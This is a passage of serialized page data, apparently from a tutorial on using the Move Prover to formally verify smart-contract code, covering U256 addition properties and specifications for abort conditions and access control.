4",{"type":23,"tag":481,"props":9234,"children":9235},{"style":525},[9236],{"type":28,"value":528},{"type":23,"tag":481,"props":9238,"children":9239},{"class":483,"line":531},[9240],{"type":23,"tag":481,"props":9241,"children":9242},{"emptyLinePlaceholder":15},[9243],{"type":28,"value":1210},{"type":23,"tag":481,"props":9245,"children":9246},{"class":483,"line":567},[9247,9251,9255],{"type":23,"tag":481,"props":9248,"children":9249},{"style":525},[9250],{"type":28,"value":1269},{"type":23,"tag":481,"props":9252,"children":9253},{"style":514},[9254],{"type":28,"value":7074},{"type":23,"tag":481,"props":9256,"children":9257},{"style":525},[9258],{"type":28,"value":9259},"]\n",{"type":23,"tag":481,"props":9261,"children":9262},{"class":483,"line":678},[9263],{"type":23,"tag":481,"props":9264,"children":9265},{"emptyLinePlaceholder":15},[9266],{"type":28,"value":1210},{"type":23,"tag":481,"props":9268,"children":9269},{"class":483,"line":784},[9270,9275,9279,9283,9287],{"type":23,"tag":481,"props":9271,"children":9272},{"style":497},[9273],{"type":28,"value":9274},"let",{"type":23,"tag":481,"props":9276,"children":9277},{"style":508},[9278],{"type":28,"value":922},{"type":23,"tag":481,"props":9280,"children":9281},{"style":514},[9282],{"type":28,"value":517},{"type":23,"tag":481,"props":9284,"children":9285},{"style":551},[9286],{"type":28,"value":554},{"type":23,"tag":481,"props":9288,"children":9289},{"style":525},[9290],{"type":28,"value":528},{"type":23,"tag":481,"props":9292,"children":9293},{"class":483,"line":812},[9294,9298,9302,9306,9310],{"type":23,"tag":481,"props":9295,"children":9296},{"style":535},[9297],{"type":28,"value":8948},{"type":23,"tag":481,"props":9299,"children":9300},{"style":525},[9301],{"type":28,"value":578},{"type":23,"tag":481,"props":9303,"children":9304},{"style":508},[9305],{"type":28,"value":1274},{"type":23,"tag":481,"props":9307,"children":9308},{"style":514},[9309],{"type":28,"value":6199},{"type":23,"tag":481,"props":9311,"children":9312},{"style":525},[9313],{"type":28,"value":9314}," WORDS) {\n",{"type":23,"tag":481,"props":9316,"children":9317},{"class":483,"line":825},[9318,9322,9327,9331,9336,9340,9344,9348,9352,9356],{"type":23,"tag":481,"props":9319,"children":9320},{"style":497},[9321],{"type":28,"value":500},{"type":23,"tag":481,"props":9323,"children":9324},{"style":508},[9325],{"type":28,"value":9326}," a1",{"type":23,"tag":481,"props":9328,"children":9329},{"style":514},[9330],{"type":28,"value":517},{"type":23,"tag":481,"props":9332,"children":9333},{"style":610},[9334],{"type":28,"value":9335}," get",{"type":23,"tag":481,"props":9337,"children":9338},{"style":525},[9339],{"type":28,"value":618},{"type":23,"tag":481,"props":9341,"children":9342},{"style":514},[9343],{"type":28,"value":623},{"type":23,"tag":481,"props":9345,"children":9346},{"style":508},[9347],{"type":28,"value":190},{"type":23,"tag":481,"props":9349,"children":9350},{"style":525},[9351],{"type":28,"value":588},{"type":23,"tag":481,"props":9353,"children":9354},{"style":508},[9355],{"type":28,"value":1274},{"type":23,"tag":481,"props":9357,"children":9358},{"style":525},[9359],{"type":28,"value":1366},{"type":23,"tag":481,"props":9361,"children":9362},{"class":483,"line":843},[9363,9367,9372,9376,9380,9384,9388,9392,9396,9400],{"type":23,"tag":481,"props":9364,"children":9365},{"style":497},[9366],{"type":28,"value":500},{"type":23,"tag":481,"props":9368,"children":9369},{"style":508},[9370],{"type":28,"value":9371}," b1",{"type":23,"tag":481,"props":9373,"children":9374},{"style":514},[9375],{"type":28,"value":517},{"type":23,"tag":481,"props":9377,"children":9378},{"style":610},[9379],{"type":28,"value":9335},{"type":23,"tag":481,"props":9381,"children":9382},{"style":525},[9383],{"type":28,"value":618},{"type":23,"tag":481,"props":9385,"children":9386},{"style":514},[9387],{"type":28,"value":623},{"type":23,"tag":481,"props":9389,"children":9390},{"style":508},[9391],{"type":28,"value":739},{"type":23,"tag":481,"props":9393,"children":9394},{"style":525},[9395],{"type":28,"value":588},{"type":23,"tag":481,"props":9397,"children":9398},{"style":508},[9399],{"type":28,"value":1274},{"type":23,"tag":481,"props":9401,"children":9402},{"style":525},[9403],{"type":28,"value":1366},{"type":23,"tag":481,"props":9405,"children":9406},{"class":483,"line":864},[9407],{"type":23,"tag":481,"props":9408,"children":9409},{"emptyLinePlaceholder":15},[9410],{"type":28,"value":1210},{"type":23,"tag":481,"props":9412,"children":9413},{"class":483,"line":873},[9414,9418,9422],{"type":23,"tag":481,"props":9415,"children":9416},{"style":525},[9417],{"type":28,"value":1269},{"type":23,"tag":481,"props":9419,"children":9420},{"style":514},[9421],{"type":28,"value":7074},{"type":23,"tag":481,"props":9423,"children":9424},{"style":525},[9425],{"type":28,"value":9259},{"type":23,"tag":24,"props":9427,"children":9428},{},[9429],{"type":28,"value":9430},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":23,"tag":435,"props":9432,"children":9434},{"code":9433},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n \"Result\": \"Success\"\n}\n",[9435],{"type":23,"tag":64,"props":9436,"children":9437},{"__ignoreMap":7},[9438],{"type":28,"value":9433},{"type":23,"tag":24,"props":9440,"children":9441},{},[9442,9444,9449,9450,9456],{"type":28,"value":9443},"For the ",{"type":23,"tag":2875,"props":9445,"children":9446},{},[9447],{"type":28,"value":9448},"Associative Property",{"type":28,"value":578},{"type":23,"tag":64,"props":9451,"children":9453},{"className":9452},[],[9454],{"type":28,"value":9455},"a+(b+c) = (a+b)+c",{"type":28,"value":9457},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":23,"tag":435,"props":9459,"children":9461},{"code":9460,"language":474,"meta":7,"className":475,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n let result_1 = add(b, c);\n let result_11 = add(a, result_1);\n let result_2 = add(a, b);\n let result_22 = add(c, result_2);\n\n let cmp = compare(&result_11, &result_22);\n if ( cmp == EQUAL ) true else false\n}\n",[9462],{"type":23,"tag":64,"props":9463,"children":9464},{"__ignoreMap":7},[9465,9542,9581,9622,9661,9702,9709,9759,9799],{"type":23,"tag":481,"props":9466,"children":9467},{"class":483,"line":484},[9468,9472,9477,9481,9485,9489,9493,9497,9501,9505,9509,9513,9517,9521,9525,9529,9533,9538],{"type":23,"tag":481,"props":9469,"children":9470},{"style":508},[9471],{"type":28,"value":4585},{"type":23,"tag":481,"props":9473,"children":9474},{"style":610},[9475],{"type":28,"value":9476}," add_assoc_property",{"type":23,"tag":481,"props":9478,"children":9479},{"style":525},[9480],{"type":28,"value":618},{"type":23,"tag":481,"props":9482,"children":9483},{"style":508},[9484],{"type":28,"value":190},{"type":23,"tag":481,"props":9486,"children":9487},{"style":514},[9488],{"type":28,"value":287},{"type":23,"tag":481,"props":9490,"children":9491},{"style":943},[9492],{"type":28,"value":2280},{"type":23,"tag":481,"props":9494,"children":9495},{"style":525},[9496],{"type":28,"value":588},{"type":23,"tag":481,"props":9498,"children":9499},{"style":508},[9500],{"type":28,"value":739},{"type":23,"tag":481,"props":9502,"children":9503},{"style":514},[9504],{"type":28,"value":287},{"type":23,"tag":481,"props":9506,"children":9507},{"style":943},[9508],{"type":28,"value":2280},{"type":23,"tag":481,"props":9510,"children":9511},{"style":525},[9512],{"type":28,"value":588},{"type":23,"tag":481,"props":9514,"children":9515},{"style":508},[9516],{"type":28,"value":661},{"type":23,"tag":481,"props":9518,"children":9519},{"style":514},[9520],{"type":28,"value":287},{"type":23,"tag":481,"props":9522,"children":9523},{"style":943},[9524],{"type":28,"value":2280},{"type":23,"tag":481,"props":9526,"children":9527},{"style":525},[9528],{"type":28,"value":642},{"type":23,"tag":481,"props":9530,"children":9531},{"style":514},[9532],{"type":28,"value":287},{"type":23,"tag":481,"props":9534,"children":9535},{"style":943},[9536],{"type":28,"value":9537}," bool",{"type":23,"tag":481,"props":9539,"children":9540},{"style":525},[9541],{"type":28,"value":809},{"type":23,"tag":481,"props":9543,"children":9544},{"class":483,"line":351},[9545,9549,9553,9557,9561,9565,9569,9573,9577],{"type":23,"tag":481,"props":9546,"children":9547},{"style":497},[9548],{"type":28,"value":500},{"type":23,"tag":481,"props":9550,"children":9551},{"style":508},[9552],{"type":28,"value":5671},{"type":23,"tag":481,"props":9554,"children":9555},{"style":514},[9556],{"type":28,"value":517},{"type":23,"tag":481,"props":9558,"children":9559},{"style":610},[9560],{"type":28,"value":7064},{"type":23,"tag":481,"props":9562,"children":9563},{"style":525},[9564],{"type":28,"value":618},{"type":23,"tag":481,"props":9566,"children":9567},{"style":508},[9568],{"type":28,"value":739},{"type":23,"tag":481,"props":9570,"children":9571},{"style":525},[9572],{"type":28,"value":588},{"type":23,"tag":481,"props":9574,"children":9575},{"style":508},[9576],{"type":28,"value":661},{"type":23,"tag":481,"props":9578,"children":9579},{"style":525},[9580],{"type":28,"value":1366},{"type":23,"tag":481,"props":9582,"children":9583},{"class":483,"line":531},[9584,9588,9593,9597,9601,9605,9609,9613,9618],{"type":23,"tag":481,"props":9585,"children":9586},{"style":497},[9587],{"type":28,"value":500},{"type":23,"tag":481,"props":9589,"children":9590},{"style":508},[9591],{"type":28,"value":9592}," result_11",{"type":23,"tag":481,"props":9594,"children":9595},{"style":514},[9596],{"type":28,"value":517},{"type":23,"tag":481,"props":9598,"children":9599},{"style":610},[9600],{"type":28,"value":7064},{"type":23,"tag":481,"props":9602,"children":9603},{"style":525},[9604],{"type":28,"value":618},{"type":23,"tag":481,"props":9606,"children":9607},{"style":508},[9608],{"type":28,"value":190},{"type":23,"tag":481,"props":9610,"children":9611},{"style":525},[9612],{"type":28,"value":588},{"type":23,"tag":481,"props":9614,"children":9615},{"style":508},[9616],{"type":28,"value":9617},"result_1",{"type":23,"tag":481,"props":9619,"children":9620},{"style":525},[9621],{"type":28,"value":1366},{"type":23,"tag":481,"props":9623,"children":9624},{"class":483,"line":567},[9625,9629,9633,9637,9641,9645,9649,9653,9657],{"type":23,"tag":481,"props":9626,"children":9627},{"style":497},[9628],{"type":28,"value":500},{"type":23,"tag":481,"props":9630,"children":9631},{"style":508},[9632],{"type":28,"value":5697},{"type":23,"tag":481,"props":9634,"children":9635},{"style":514},[9636],{"type":28,"value":517},{"type":23,"tag":481,"props":9638,"children":9639},{"style":610},[9640],{"type":28,"value":7064},{"type":23,"tag":481,"props":9642,"children":9643},{"style":525},[9644],{"type":28,"value":618},{"type":23,"tag":481,"props":9646,"children":9647},{"style":508},[9648],{"type":28,"value":190},{"type":23,"tag":481,"props":9650,"children":9651},{"style":525},[9652],{"type":28,"value":588},{"type":23,"tag":481,"props":9654,"children":9655},{"style":508},[9656],{"type":28,"value":739},{"type":23,"tag":481,"props":9658,"children":9659},{"style":525},[9660],{"type":28,"value":1366},{"type":23,"tag":481,"props":9662,"children":9663},{"class":483,"line":678},[9664,9668,9673,9677,9681,9685,9689,9693,9698],{"type":23,"tag":481,"props":9665,"children":9666},{"style":497},[9667],{"type":28,"value":500},{"type":23,"tag":481,"props":9669,"children":9670},{"style":508},[9671],{"type":28,"value":9672}," result_22",{"type":23,"tag":481,"props":9674,"children":9675},{"style":514},[9676],{"type":28,"value":517},{"type":23,"tag":481,"props":9678,"children":9679},{"style":610},[9680],{"type":28,"value":7064},{"type":23,"tag":481,"props":9682,"children":9683},{"style":525},[9684],{"type":28,"value":618},{"type":23,"tag":481,"props":9686,"children":9687},{"style":508},[9688],{"type":28,"value":661},{"type":23,"tag":481,"props":9690,"children":9691},{"style":525},[9692],{"type":28,"value":588},{"type":23,"tag":481,"props":9694,"children":9695},{"style":508},[9696],{"type":28,"value":9697},"result_2",{"type":23,"tag":481,"props":9699,"children":9700},{"style":525},[9701],{"type":28,"value":1366},{"type":23,"tag":481,"props":9703,"children":9704},{"class":483,"line":784},[9705],{"type":23,"tag":481,"props":9706,"children":9707},{"emptyLinePlaceholder":15},[9708],{"type":28,"value":1210},{"type":23,"tag":481,"props":9710,"children":9711},{"class":483,"line":812},[9712,9716,9720,9724,9729,9733,9737,9742,9746,9750,9755],{"type":23,"tag":481,"props":9713,"children":9714},{"style":497},[9715],{"type":28,"value":500},{"type":23,"tag":481,"props":9717,"children":9718},{"style":508},[9719],{"type":28,"value":5339},{"type":23,"tag":481,"props":9721,"children":9722},{"style":514},[9723],{"type":28,"value":517},{"type":23,"tag":481,"props":9725,"children":9726},{"style":610},[9727],{"type":28,"value":9728}," compare",{"type":23,"tag":481,"props":9730,"children":9731},{"style":525},[9732],{"type":28,"value":618},{"type":23,"tag":481,"props":9734,"children":9735},{"style":514},[9736],{"type":28,"value":623},{"type":23,"tag":481,"props":9738,"children":9739},{"style":508},[9740],{"type":28,"value":9741},"result_11",{"type":23,"tag":481,"props":9743,"children":9744},{"style":525},[9745],{"type":28,"value":588},{"type":23,"tag":481,"props":9747,"children":9748},{"style":514},[9749],{"type":28,"value":623},{"type":23,"tag":481,"props":9751,"children":9752},{"style":508},[9753],{"type":28,"value":9754},"result_22",{"type":23,"tag":481,"props":9756,"children":9757},{"style":525},[9758],{"type":28,"value":1366},{"type":23,"tag":481,"props":9760,"children":9761},{"class":483,"line":825},[9762,9767,9772,9776,9780,9785,9789,9794],{"type":23,"tag":481,"props":9763,"children":9764},{"style":535},[9765],{"type":28,"value":9766}," if",{"type":23,"tag":481,"props":9768,"children":9769},{"style":525},[9770],{"type":28,"value":9771}," ( ",{"type":23,"tag":481,"props":9773,"children":9774},{"style":508},[9775],{"type":28,"value":5404},{"type":23,"tag":481,"props":9777,"children":9778},{"style":514},[9779],{"type":28,"value":800},{"type":23,"tag":481,"props":9781,"children":9782},{"style":525},[9783],{"type":28,"value":9784}," EQUAL ) ",{"type":23,"tag":481,"props":9786,"children":9787},{"style":497},[9788],{"type":28,"value":1539},{"type":23,"tag":481,"props":9790,"children":9791},{"style":535},[9792],{"type":28,"value":9793}," else",{"type":23,"tag":481,"props":9795,"children":9796},{"style":497},[9797],{"type":28,"value":9798}," false\n",{"type":23,"tag":481,"props":9800,"children":9801},{"class":483,"line":843},[9802],{"type":23,"tag":481,"props":9803,"children":9804},{"style":525},[9805],{"type":28,"value":1443},{"type":23,"tag":24,"props":9807,"children":9808},{},[9809],{"type":28,"value":9810},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":23,"tag":435,"props":9812,"children":9814},{"code":9813,"language":474,"meta":7,"className":475,"style":7},"spec add_assoc_property {\n aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n ensures result == true;\n}\n",[9815],{"type":23,"tag":64,"props":9816,"children":9817},{"__ignoreMap":7},[9818,9833,9937,9961],{"type":23,"tag":481,"props":9819,"children":9820},{"class":483,"line":484},[9821,9825,9829],{"type":23,"tag":481,"props":9822,"children":9823},{"style":508},[9824],{"type":28,"value":5754},{"type":23,"tag":481,"props":9826,"children":9827},{"style":508},[9828],{"type":28,"value":9476},{"type":23,"tag":481,"props":9830,"children":9831},{"style":525},[9832],{"type":28,"value":809},{"type":23,"tag":481,"props":9834,"children":9835},{"class":483,"line":351},[9836,9840,9844,9849,9853,9857,9861,9865,9869,9873,9877,9881,9885,9889,9893,9897,9901,9905,9909,9913,9917,9921,9925,9929,9933],{"type":23,"tag":481,"props":9837,"children":9838},{"style":508},[9839],{"type":28,"value":7387},{"type":23,"tag":481,"props":9841,"children":9842},{"style":525},[9843],{"type":28,"value":578},{"type":23,"tag":481,"props":9845,"children":9846},{"style":610},[9847],{"type":28,"value":9848},"value_of_U256",{"type":23,"tag":481,"props":9850,"children":9851},{"style":525},[9852],{"type":28,"value":618},{"type":23,"tag":481,"props":9854,"children":9855},{"style":508},[9856],{"type":28,"value":190},{"type":23,"tag":481,"props":9858,"children":9859},{"style":525},[9860],{"type":28,"value":598},{"type":23,"tag":481,"props":9862,"children":9863},{"style":514},[9864],{"type":28,"value":1930},{"type":23,"tag":481,"props":9866,"children":9867},{"style":610},[9868],{"type":28,"value":7188},{"type":23,"tag":481,"props":9870,"children":9871},{"style":525},[9872],{"type":28,"value":618},{"type":23,"tag":481,"props":9874,"children":9875},{"style":508},[9876],{"type":28,"value":739},{"type":23,"tag":481,"props":9878,"children":9879},{"style":525},[9880],{"type":28,"value":6317},{"type":23,"tag":481,"props":9882,"children":9883},{"style":514},[9884],{"type":28,"value":1930},{"type":23,"tag":481,"props":9886,"children":9887},{"style":610},[9888],{"type":28,"value":7188},{"type":23,"tag":481,"props":9890,"children":9891},{"style":525},[9892],{"type":28,"value":618},{"type":23,"tag":481,"props":9894,"children":9895},{"style":508},[9896],{"type":28,"value":661},{"type":23,"tag":481,"props":9898,"children":9899},{"style":525},[9900],{"type":28,"value":598},{"type":23,"tag":481,"props":9902,"children":9903},{"style":514},[9904],{"type":28,"value":7428},{"type":23,"tag":481,"props":9906,"children":9907},{"style":943},[9908],{"type":28,"value":7144},{"type":23,"tag":481,"props":9910,"children":9911},{"style":514},[9912],{"type":28,"value":7301},{"type":23,"tag":481,"props":9914,"children":9915},{"style":943},[9916],{"type":28,"value":7144},{"type":23,"tag":481,"props":9918,"children":9919},{"style":514},[9920],{"type":28,"value":7301},{"type":23,"tag":481,"props":9922,"children":9923},{"style":943},[9924],{"type":28,"value":7144},{"type":23,"tag":481,"props":9926,"children":9927},{"style":514},[9928],{"type":28,"value":7301},{"type":23,"tag":481,"props":9930,"children":9931},{"style":943},[9932],{"type":28,"value":7144},{"type":23,"tag":481,"props":9934,"children":9935},{"style":525},[9936],{"type":28,"value":528},{"type":23,"tag":481,"props":9938,"children":9939},{"class":483,"line":531},[9940,9944,9948,9952,9957],{"type":23,"tag":481,"props":9941,"children":9942},{"style":508},[9943],{"type":28,"value":7685},{"type":23,"tag":481,"props":9945,"children":9946},{"style":508},[9947],{"type":28,"value":6642},{"type":23,"tag":481,"props":9949,"children":9950},{"style":514},[9951],{"type":28,"value":800},{"type":23,"tag":481,"props":9953,"children":9954},{"style":497},[9955],{"type":28,"value":9956}," true",{"type":23,"tag":481,"props":9958,"children":9959},{"style":525},[9960],{"type":28,"value":528},{"type":23,"tag":481,"props":9962,"children":9963},{"class":483,"line":567},[9964],{"type":23,"tag":481,"props":9965,"children":9966},{"style":525},[9967],{"type":28,"value":1443},{"type":23,"tag":24,"props":9969,"children":9970},{},[9971],{"type":28,"value":9972},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":23,"tag":435,"props":9974,"children":9975},{"code":9433},[9976],{"type":23,"tag":64,"props":9977,"children":9978},{"__ignoreMap":7},[9979],{"type":28,"value":9433},{"type":23,"tag":24,"props":9981,"children":9982},{},[9983,9985,9992],{"type":28,"value":9984},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":23,"tag":190,"props":9986,"children":9989},{"href":9987,"rel":9988},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[194],[9990],{"type":28,"value":9991},"spec-lang.md",{"type":28,"value":9993}," in the Move Repository.",{"type":23,"tag":31,"props":9995,"children":9997},{"id":9996},"use-cases",[9998],{"type":28,"value":9999},"Use Cases",{"type":23,"tag":24,"props":10001,"children":10002},{},[10003],{"type":28,"value":10004},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":23,"tag":24,"props":10006,"children":10007},{},[10008],{"type":28,"value":10009},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":23,"tag":7092,"props":10011,"children":10013},{"id":10012},"error-conditions",[10014],{"type":28,"value":10015},"Error Conditions",{"type":23,"tag":24,"props":10017,"children":10018},{},[10019,10021,10027],{"type":28,"value":10020},"Taking an example from ",{"type":23,"tag":64,"props":10022,"children":10024},{"className":10023},[],[10025],{"type":28,"value":10026},"std::fixed_point32",{"type":28,"value":10028},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":23,"tag":435,"props":10030,"children":10032},{"code":10031,"language":474,"meta":7,"className":475,"style":7}," spec schema MultiplyAbortsIf {\n val: num;\n multiplier: FixedPoint32;\n aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n }\n spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n (val * multiplier.value) >> 32\n }\n",[10033],{"type":23,"tag":64,"props":10034,"children":10035},{"__ignoreMap":7},[10036,10057,10077,10098,10144,10152,10215,10254],{"type":23,"tag":481,"props":10037,"children":10038},{"class":483,"line":484},[10039,10043,10048,10053],{"type":23,"tag":481,"props":10040,"children":10041},{"style":508},[10042],{"type":28,"value":6409},{"type":23,"tag":481,"props":10044,"children":10045},{"style":508},[10046],{"type":28,"value":10047}," schema",{"type":23,"tag":481,"props":10049,"children":10050},{"style":943},[10051],{"type":28,"value":10052}," MultiplyAbortsIf",{"type":23,"tag":481,"props":10054,"children":10055},{"style":525},[10056],{"type":28,"value":809},{"type":23,"tag":481,"props":10058,"children":10059},{"class":483,"line":351},[10060,10065,10069,10073],{"type":23,"tag":481,"props":10061,"children":10062},{"style":508},[10063],{"type":28,"value":10064}," val",{"type":23,"tag":481,"props":10066,"children":10067},{"style":514},[10068],{"type":28,"value":287},{"type":23,"tag":481,"props":10070,"children":10071},{"style":508},[10072],{"type":28,"value":7217},{"type":23,"tag":481,"props":10074,"children":10075},{"style":525},[10076],{"type":28,"value":528},{"type":23,"tag":481,"props":10078,"children":10079},{"class":483,"line":531},[10080,10085,10089,10094],{"type":23,"tag":481,"props":10081,"children":10082},{"style":508},[10083],{"type":28,"value":10084}," multiplier",{"type":23,"tag":481,"props":10086,"children":10087},{"style":514},[10088],{"type":28,"value":287},{"type":23,"tag":481,"props":10090,"children":10091},{"style":943},[10092],{"type":28,"value":10093}," FixedPoint32",{"type":23,"tag":481,"props":10095,"children":10096},{"style":525},[10097],{"type":28,"value":528},{"type":23,"tag":481,"props":10099,"children":10100},{"class":483,"line":567},[10101,10106,10111,10115,10120,10124,10129,10134,10139],{"type":23,"tag":481,"props":10102,"children":10103},{"style":508},[10104],{"type":28,"value":10105}," aborts_if",{"type":23,"tag":481,"props":10107,"children":10108},{"style":610},[10109],{"type":28,"value":10110}," spec_multiply_u64",{"type":23,"tag":481,"props":10112,"children":10113},{"style":525},[10114],{"type":28,"value":618},{"type":23,"tag":481,"props":10116,"children":10117},{"style":508},[10118],{"type":28,"value":10119},"val",{"type":23,"tag":481,"props":10121,"children":10122},{"style":525},[10123],{"type":28,"value":588},{"type":23,"tag":481,"props":10125,"children":10126},{"style":508},[10127],{"type":28,"value":10128},"multiplier",{"type":23,"tag":481,"props":10130,"children":10131},{"style":525},[10132],{"type":28,"value":10133},") > MAX_U64 ",{"type":23,"tag":481,"props":10135,"children":10136},{"style":508},[10137],{"type":28,"value":10138},"with",{"type":23,"tag":481,"props":10140,"children":10141},{"style":525},[10142],{"type":28,"value":10143}," EMULTIPLICATION;\n",{"type":23,"tag":481,"props":10145,"children":10146},{"class":483,"line":678},[10147],{"type":23,"tag":481,"props":10148,"children":10149},{"style":525},[10150],{"type":28,"value":10151}," }\n",{"type":23,"tag":481,"props":10153,"children":10154},{"class":483,"line":784},[10155,10159,10163,10167,10171,10175,10179,10183,10187,10191,10195,10199,10203,10207,10211],{"type":23,"tag":481,"props":10156,"children":10157},{"style":508},[10158],{"type":28,"value":6409},{"type":23,"tag":481,"props":10160,"children":10161},{"style":508},[10162],{"type":28,"value":3684},{"type":23,"tag":481,"props":10164,"children":10165},{"style":610},[10166],{"type":28,"value":10110},{"type":23,"tag":481,"props":10168,"children":10169},{"style":525},[10170],{"type":28,"value":618},{"type":23,"tag":481,"props":10172,"children":10173},{"style":508},[10174],{"type":28,"value":10119},{"type":23,"tag":481,"props":10176,"children":10177},{"style":514},[10178],{"type":28,"value":287},{"type":23,"tag":481,"props":10180,"children":10181},{"style":508},[10182],{"type":28,"value":7217},{"type":23,"tag":481,"props":10184,"children":10185},{"style":525},[10186],{"type":28,"value":588},{"type":23,"tag":481,"props":10188,"children":10189},{"style":508},[10190],{"type":28,"value":10128},{"type":23,"tag":481,"props":10192,"children":10193},{"style":514},[10194],{"type":28,"value":287},{"type":23,"tag":481,"props":10196,"children":10197},{"style":943},[10198],{"type":28,"value":10093},{"type":23,"tag":481,"props":10200,"children":10201},{"style":525},[10202],{"type":28,"value":642},{"type":23,"tag":481,"props":10204,"children":10205},{"style":514},[10206],{"type":28,"value":287},{"type":23,"tag":481,"props":10208,"children":10209},{"style":508},[10210],{"type":28,"value":7217},{"type":23,"tag":481,"props":10212,"children":10213},{"style":525},[10214],{"type":28,"value":809},{"type":23,"tag":481,"props":10216,"children":10217},{"class":483,"line":812},[10218,10222,10226,10230,10235,10239,10244,10249],{"type":23,"tag":481,"props":10219,"children":10220},{"style":525},[10221],{"type":28,"value":6190},{"type":23,"tag":481,"props":10223,"children":10224},{"style":508},[10225],{"type":28,"value":10119},{"type":23,"tag":481,"props":10227,"children":10228},{"style":514},[10229],{"type":28,"value":7301},{"type":23,"tag":481,"props":10231,"children":10232},{"style":508},[10233],{"type":28,"value":10234}," multiplier",{"type":23,"tag":481,"props":10236,"children":10237},{"style":514},[10238],{"type":28,"value":199},{"type":23,"tag":481,"props":10240,"children":10241},{"style":525},[10242],{"type":28,"value":10243},"value) ",{"type":23,"tag":481,"props":10245,"children":10246},{"style":514},[10247],{"type":28,"value":10248},">>",{"type":23,"tag":481,"props":10250,"children":10251},{"style":551},[10252],{"type":28,"value":10253}," 32\n",{"type":23,"tag":481,"props":10255,"children":10256},{"class":483,"line":825},[10257],{"type":23,"tag":481,"props":10258,"children":10259},{"style":525},[10260],{"type":28,"value":10151},{"type":23,"tag":7092,"props":10262,"children":10264},{"id":10263},"access-control-policies",[10265],{"type":28,"value":10266},"Access Control Policies",{"type":23,"tag":24,"props":10268,"children":10269},{},[10270],{"type":28,"value":10271},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":23,"tag":24,"props":10273,"children":10274},{},[10275,10277,10283,10285,10290],{"type":28,"value":10276},"For example, in ",{"type":23,"tag":64,"props":10278,"children":10280},{"className":10279},[],[10281],{"type":28,"value":10282},"std::offer",{"type":28,"value":10284}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":23,"tag":127,"props":10286,"children":10287},{},[10288],{"type":28,"value":10289},"or",{"type":28,"value":10291}," the recipient is now allowed.",{"type":23,"tag":435,"props":10293,"children":10295},{"code":10294,"language":474,"meta":7,"className":475,"style":7}," spec redeem {\n /// Aborts if there is no offer under `offer_address` or if the account\n /// cannot redeem the offer.\n /// Ensures that the offered struct under `offer_address` is removed.\n aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n ensures !exists\u003COffer\u003COffered>>(offer_address);\n ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n }\n",[10296],{"type":23,"tag":64,"props":10297,"children":10298},{"__ignoreMap":7},[10299,10316,10324,10332,10340,10387,10445,10488,10554],{"type":23,"tag":481,"props":10300,"children":10301},{"class":483,"line":484},[10302,10307,10312],{"type":23,"tag":481,"props":10303,"children":10304},{"style":508},[10305],{"type":28,"value":10306}," spec",{"type":23,"tag":481,"props":10308,"children":10309},{"style":508},[10310],{"type":28,"value":10311}," redeem",{"type":23,"tag":481,"props":10313,"children":10314},{"style":525},[10315],{"type":28,"value":809},{"type":23,"tag":481,"props":10317,"children":10318},{"class":483,"line":351},[10319],{"type":23,"tag":481,"props":10320,"children":10321},{"style":488},[10322],{"type":28,"value":10323}," /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":23,"tag":481,"props":10325,"children":10326},{"class":483,"line":531},[10327],{"type":23,"tag":481,"props":10328,"children":10329},{"style":488},[10330],{"type":28,"value":10331}," /// cannot redeem the offer.\n",{"type":23,"tag":481,"props":10333,"children":10334},{"class":483,"line":567},[10335],{"type":23,"tag":481,"props":10336,"children":10337},{"style":488},[10338],{"type":28,"value":10339}," /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":23,"tag":481,"props":10341,"children":10342},{"class":483,"line":678},[10343,10347,10352,10356,10360,10365,10369,10374,10378,10383],{"type":23,"tag":481,"props":10344,"children":10345},{"style":508},[10346],{"type":28,"value":6534},{"type":23,"tag":481,"props":10348,"children":10349},{"style":514},[10350],{"type":28,"value":10351}," !",{"type":23,"tag":481,"props":10353,"children":10354},{"style":508},[10355],{"type":28,"value":4182},{"type":23,"tag":481,"props":10357,"children":10358},{"style":525},[10359],{"type":28,"value":3282},{"type":23,"tag":481,"props":10361,"children":10362},{"style":943},[10363],{"type":28,"value":10364},"Offer",{"type":23,"tag":481,"props":10366,"children":10367},{"style":525},[10368],{"type":28,"value":3282},{"type":23,"tag":481,"props":10370,"children":10371},{"style":943},[10372],{"type":28,"value":10373},"Offered",{"type":23,"tag":481,"props":10375,"children":10376},{"style":525},[10377],{"type":28,"value":4204},{"type":23,"tag":481,"props":10379,"children":10380},{"style":508},[10381],{"type":28,"value":10382},"offer_address",{"type":23,"tag":481,"props":10384,"children":10385},{"style":525},[10386],{"type":28,"value":1366},{"type":23,"tag":481,"props":10388,"children":10389},{"class":483,"line":784},[10390,10394,10398,10403,10407,10411,10415,10419,10424,10428,10432,10436,10441],{"type":23,"tag":481,"props":10391,"children":10392},{"style":508},[10393],{"type":28,"value":6534},{"type":23,"tag":481,"props":10395,"children":10396},{"style":514},[10397],{"type":28,"value":10351},{"type":23,"tag":481,"props":10399,"children":10400},{"style":508},[10401],{"type":28,"value":10402},"is_allowed_recipient",{"type":23,"tag":481,"props":10404,"children":10405},{"style":525},[10406],{"type":28,"value":3282},{"type":23,"tag":481,"props":10408,"children":10409},{"style":943},[10410],{"type":28,"value":10373},{"type":23,"tag":481,"props":10412,"children":10413},{"style":525},[10414],{"type":28,"value":5089},{"type":23,"tag":481,"props":10416,